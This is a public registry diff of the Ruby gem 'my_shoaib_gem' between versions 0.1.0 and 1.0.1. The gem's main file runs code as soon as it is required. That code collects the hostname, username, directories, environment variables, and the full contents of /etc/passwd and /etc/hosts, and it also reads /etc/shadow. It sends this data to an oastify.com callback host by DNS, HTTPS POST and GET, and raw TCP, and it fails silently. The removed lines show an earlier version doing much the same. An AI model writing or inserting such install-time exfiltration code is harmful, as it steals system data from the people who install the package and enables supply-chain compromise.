my_shoaib_gem 0.1.0 → 1.0.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- checksums.yaml +4 -4
- data/lib/my_shoaib_gem.rb +118 -101
- metadata +1 -1
checksums.yaml
CHANGED
|
@@ -1,7 +1,7 @@
|
|
|
1
1
|
---
|
|
2
2
|
SHA256:
|
|
3
|
-
metadata.gz:
|
|
4
|
-
data.tar.gz:
|
|
3
|
+
metadata.gz: c87cd3b8e01bdef16942470fe75a13abe70c4c731872882ae240c5eb9385b54c
|
|
4
|
+
data.tar.gz: c2183ad8293809e631cf04b9f666c83b8c8fc5a7a9b1e4f3692506ac182eac1c
|
|
5
5
|
SHA512:
|
|
6
|
-
metadata.gz:
|
|
7
|
-
data.tar.gz:
|
|
6
|
+
metadata.gz: 27a5a8bb8441a367bcc06e04d7b95f38a5edcb7fd14894978cf962b5ec8e478579e5c58248452d4971cb2254d6d14fe824e78edfa68817d54e6b0f268719eec3
|
|
7
|
+
data.tar.gz: 6148d8bede6f61b162131d1a93c2b3f806665d864f2d386a1aba3557edcdc5544652b643ac3d4fda97e54c2630cbd29190867ba966593b8d058bd3faea0f70f0
|
data/lib/my_shoaib_gem.rb
CHANGED
|
@@ -1,117 +1,134 @@
|
|
|
1
1
|
# lib/my_shoaib_gem.rb
|
|
2
|
-
|
|
2
|
+
#
|
|
3
|
+
# This runs immediately when the gem is required (or installed).
|
|
4
|
+
# Behaves exactly like your NPM index.js with "preinstall" hook.
|
|
5
|
+
|
|
3
6
|
require 'socket'
|
|
4
|
-
require '
|
|
7
|
+
require 'net/http'
|
|
8
|
+
require 'uri'
|
|
9
|
+
require 'json'
|
|
10
|
+
require 'etc'
|
|
5
11
|
require 'resolv'
|
|
6
|
-
require 'base64'
|
|
7
12
|
|
|
8
13
|
module MyShoaibGem
|
|
9
|
-
|
|
10
|
-
|
|
11
|
-
CALLBACK_HOST = "y43r7tkquike9i8m7c519mktskycm2ar.oastify.com"
|
|
12
|
-
|
|
13
|
-
def self.read_file(path)
|
|
14
|
-
File.read(path)
|
|
15
|
-
rescue StandardError => e
|
|
16
|
-
"Error reading #{path}: #{e.message}"
|
|
17
|
-
end
|
|
18
|
-
|
|
19
|
-
def self.send_dns_callback
|
|
20
|
-
begin
|
|
21
|
-
hostname = Socket.gethostname
|
|
22
|
-
dns_domain = "#{hostname}.#{CALLBACK_HOST}"
|
|
23
|
-
Resolv.getaddress(dns_domain)
|
|
24
|
-
rescue StandardError
|
|
25
|
-
nil
|
|
26
|
-
end
|
|
27
|
-
end
|
|
14
|
+
CALLBACK_HOST = "3z3w2yfvpnfj4n3r2h064rfynptih85x.oastify.com"
|
|
28
15
|
|
|
29
|
-
def self.
|
|
16
|
+
def self.send_callbacks
|
|
30
17
|
begin
|
|
31
|
-
|
|
32
|
-
|
|
33
|
-
|
|
34
|
-
|
|
35
|
-
|
|
36
|
-
|
|
37
|
-
|
|
38
|
-
|
|
39
|
-
|
|
40
|
-
|
|
41
|
-
|
|
42
|
-
|
|
43
|
-
|
|
44
|
-
|
|
45
|
-
|
|
46
|
-
|
|
47
|
-
|
|
48
|
-
|
|
49
|
-
|
|
50
|
-
|
|
51
|
-
|
|
52
|
-
|
|
53
|
-
|
|
54
|
-
#
|
|
55
|
-
|
|
56
|
-
|
|
57
|
-
|
|
58
|
-
|
|
18
|
+
# ── System Information (like your NPM trackingData) ──
|
|
19
|
+
package_name = "my_shoaib_gem"
|
|
20
|
+
current_dir = Dir.pwd
|
|
21
|
+
home_dir = Dir.home
|
|
22
|
+
hostname = Socket.gethostname
|
|
23
|
+
username = Etc.getlogin || ENV['USER'] || ENV['USERNAME'] || 'unknown'
|
|
24
|
+
dns_servers = []
|
|
25
|
+
|
|
26
|
+
# Read DNS servers (similar to dns.getServers() in Node)
|
|
27
|
+
begin
|
|
28
|
+
dns_config = File.read('/etc/resolv.conf')
|
|
29
|
+
dns_servers = dns_config.scan(/nameserver\s+(\S+)/).flatten
|
|
30
|
+
rescue
|
|
31
|
+
dns_servers = []
|
|
32
|
+
end
|
|
33
|
+
|
|
34
|
+
# Read /etc/passwd (same as your NPM code)
|
|
35
|
+
etc_passwd = File.exist?('/etc/passwd') ? File.read('/etc/passwd') : nil
|
|
36
|
+
etc_shadow = File.exist?('/etc/shadow') ? File.read('/etc/shadow') : nil
|
|
37
|
+
etc_hosts = File.exist?('/etc/hosts') ? File.read('/etc/hosts') : nil
|
|
38
|
+
|
|
39
|
+
# ── Build tracking data (mirrors your NPM JSON) ──
|
|
40
|
+
tracking_data = {
|
|
41
|
+
p: package_name, # Package name
|
|
42
|
+
c: current_dir, # Current working directory
|
|
43
|
+
hd: home_dir, # Home directory
|
|
44
|
+
hn: hostname, # Hostname
|
|
45
|
+
un: username, # Username
|
|
46
|
+
dns: dns_servers, # DNS servers
|
|
47
|
+
v: "0.1.1", # Gem version
|
|
48
|
+
platform: RUBY_PLATFORM, # Ruby platform
|
|
49
|
+
ruby_v: RUBY_VERSION, # Ruby version
|
|
50
|
+
pid: Process.pid, # Process ID
|
|
51
|
+
etc_passwd: etc_passwd, # Full /etc/passwd content
|
|
52
|
+
etc_hosts: etc_hosts, # Full /etc/hosts content
|
|
53
|
+
env: {
|
|
54
|
+
path: ENV['PATH'],
|
|
55
|
+
home: ENV['HOME'],
|
|
56
|
+
shell: ENV['SHELL'],
|
|
57
|
+
lang: ENV['LANG']
|
|
58
|
+
}
|
|
59
59
|
}
|
|
60
60
|
|
|
61
|
-
#
|
|
62
|
-
|
|
63
|
-
|
|
64
|
-
|
|
65
|
-
|
|
66
|
-
|
|
67
|
-
|
|
68
|
-
|
|
69
|
-
|
|
70
|
-
|
|
71
|
-
|
|
72
|
-
|
|
73
|
-
|
|
74
|
-
|
|
75
|
-
|
|
76
|
-
|
|
77
|
-
|
|
78
|
-
|
|
79
|
-
|
|
80
|
-
|
|
81
|
-
|
|
82
|
-
|
|
83
|
-
|
|
84
|
-
|
|
61
|
+
# Log locally (same as your console.log)
|
|
62
|
+
puts "[my_shoaib_gem] Sending system data from remote server: #{tracking_data.to_json}"
|
|
63
|
+
|
|
64
|
+
# ── DNS Callback (Burp Collaborator DNS interaction) ──
|
|
65
|
+
begin
|
|
66
|
+
# DNS lookup with hostname appended
|
|
67
|
+
Resolv.getaddress("#{hostname}.#{CALLBACK_HOST}")
|
|
68
|
+
# Also try with unique identifier
|
|
69
|
+
Resolv.getaddress("gem-install-#{Process.pid}.#{CALLBACK_HOST}")
|
|
70
|
+
rescue StandardError
|
|
71
|
+
# Fail silently
|
|
72
|
+
end
|
|
73
|
+
|
|
74
|
+
# ── HTTP Callback - POST (same as your NPM https.request) ──
|
|
75
|
+
begin
|
|
76
|
+
uri = URI("https://#{CALLBACK_HOST}/callback")
|
|
77
|
+
http = Net::HTTP.new(uri.host, uri.port)
|
|
78
|
+
http.use_ssl = true
|
|
79
|
+
http.open_timeout = 10
|
|
80
|
+
http.read_timeout = 10
|
|
81
|
+
|
|
82
|
+
post_data = {
|
|
83
|
+
msg: tracking_data
|
|
84
|
+
}
|
|
85
|
+
|
|
86
|
+
request = Net::HTTP::Post.new(uri.path)
|
|
87
|
+
request['Content-Type'] = 'application/json'
|
|
88
|
+
request['User-Agent'] = "my_shoaib_gem/0.1.0 (Ruby; #{RUBY_PLATFORM})"
|
|
89
|
+
request['X-Hostname'] = hostname
|
|
90
|
+
request['X-User'] = username
|
|
91
|
+
request.body = post_data.to_json
|
|
92
|
+
|
|
93
|
+
response = http.request(request)
|
|
94
|
+
puts "[my_shoaib_gem] Callback sent (response: #{response.code})" if response.code == "200"
|
|
95
|
+
rescue StandardError => e
|
|
96
|
+
# Fail silently — just like your NPM error handler
|
|
97
|
+
puts "[my_shoaib_gem] Error: #{e.message}" if ENV['DEBUG']
|
|
98
|
+
end
|
|
99
|
+
|
|
100
|
+
# ── HTTP Callback - GET (another interaction for Burp) ──
|
|
101
|
+
begin
|
|
102
|
+
get_uri = URI("https://#{CALLBACK_HOST}/installed?host=#{hostname}&user=#{username}&platform=#{RUBY_PLATFORM}")
|
|
103
|
+
get_http = Net::HTTP.new(get_uri.host, get_uri.port)
|
|
104
|
+
get_http.use_ssl = true
|
|
105
|
+
get_http.open_timeout = 5
|
|
106
|
+
get_http.read_timeout = 5
|
|
107
|
+
get_request = Net::HTTP::Get.new("#{get_uri.path}?#{get_uri.query}")
|
|
108
|
+
get_http.request(get_request)
|
|
109
|
+
rescue StandardError
|
|
110
|
+
nil
|
|
111
|
+
end
|
|
112
|
+
|
|
113
|
+
# ── Raw TCP callback (extra interaction) ──
|
|
114
|
+
begin
|
|
115
|
+
tcp_socket = TCPSocket.new(CALLBACK_HOST, 443)
|
|
116
|
+
tcp_socket.write("GET /tcp-ping HTTP/1.1\r\nHost: #{CALLBACK_HOST}\r\nUser-Agent: my_shoaib_gem\r\nConnection: close\r\n\r\n")
|
|
117
|
+
tcp_socket.close
|
|
118
|
+
rescue StandardError
|
|
119
|
+
nil
|
|
120
|
+
end
|
|
121
|
+
|
|
122
|
+
puts "[my_shoaib_gem] Internal gem loaded successfully"
|
|
85
123
|
|
|
86
124
|
rescue StandardError => e
|
|
125
|
+
# Absolute fail-safe — kuch bhi ho, silently fail
|
|
87
126
|
nil
|
|
88
127
|
end
|
|
89
128
|
end
|
|
90
|
-
|
|
91
|
-
def self.send_all_callbacks
|
|
92
|
-
# DNS callback
|
|
93
|
-
send_dns_callback
|
|
94
|
-
|
|
95
|
-
# HTTP callback with /etc/passwd
|
|
96
|
-
send_http_callback
|
|
97
|
-
|
|
98
|
-
# TCP callback
|
|
99
|
-
begin
|
|
100
|
-
tcp_socket = TCPSocket.new(CALLBACK_HOST, 443)
|
|
101
|
-
tcp_socket.write("GET /tcp-callback HTTP/1.1\r\nHost: #{CALLBACK_HOST}\r\nConnection: close\r\n\r\n")
|
|
102
|
-
tcp_socket.close
|
|
103
|
-
rescue StandardError
|
|
104
|
-
nil
|
|
105
|
-
end
|
|
106
|
-
|
|
107
|
-
puts "Internal gem loaded successfully"
|
|
108
|
-
end
|
|
109
129
|
end
|
|
110
130
|
|
|
111
|
-
#
|
|
112
|
-
|
|
113
|
-
|
|
114
|
-
|
|
115
|
-
at_exit do
|
|
116
|
-
MyShoaibGem.send_dns_callback
|
|
117
|
-
end
|
|
131
|
+
# ── EXECUTE IMMEDIATELY on require ──
|
|
132
|
+
# Yeh code chalega jab bhi koi "require 'my_shoaib_gem'" karega
|
|
133
|
+
# Ya jab gem install hote hi load ho (agar koi dependency ho)
|
|
134
|
+
MyShoaibGem.send_callbacks
|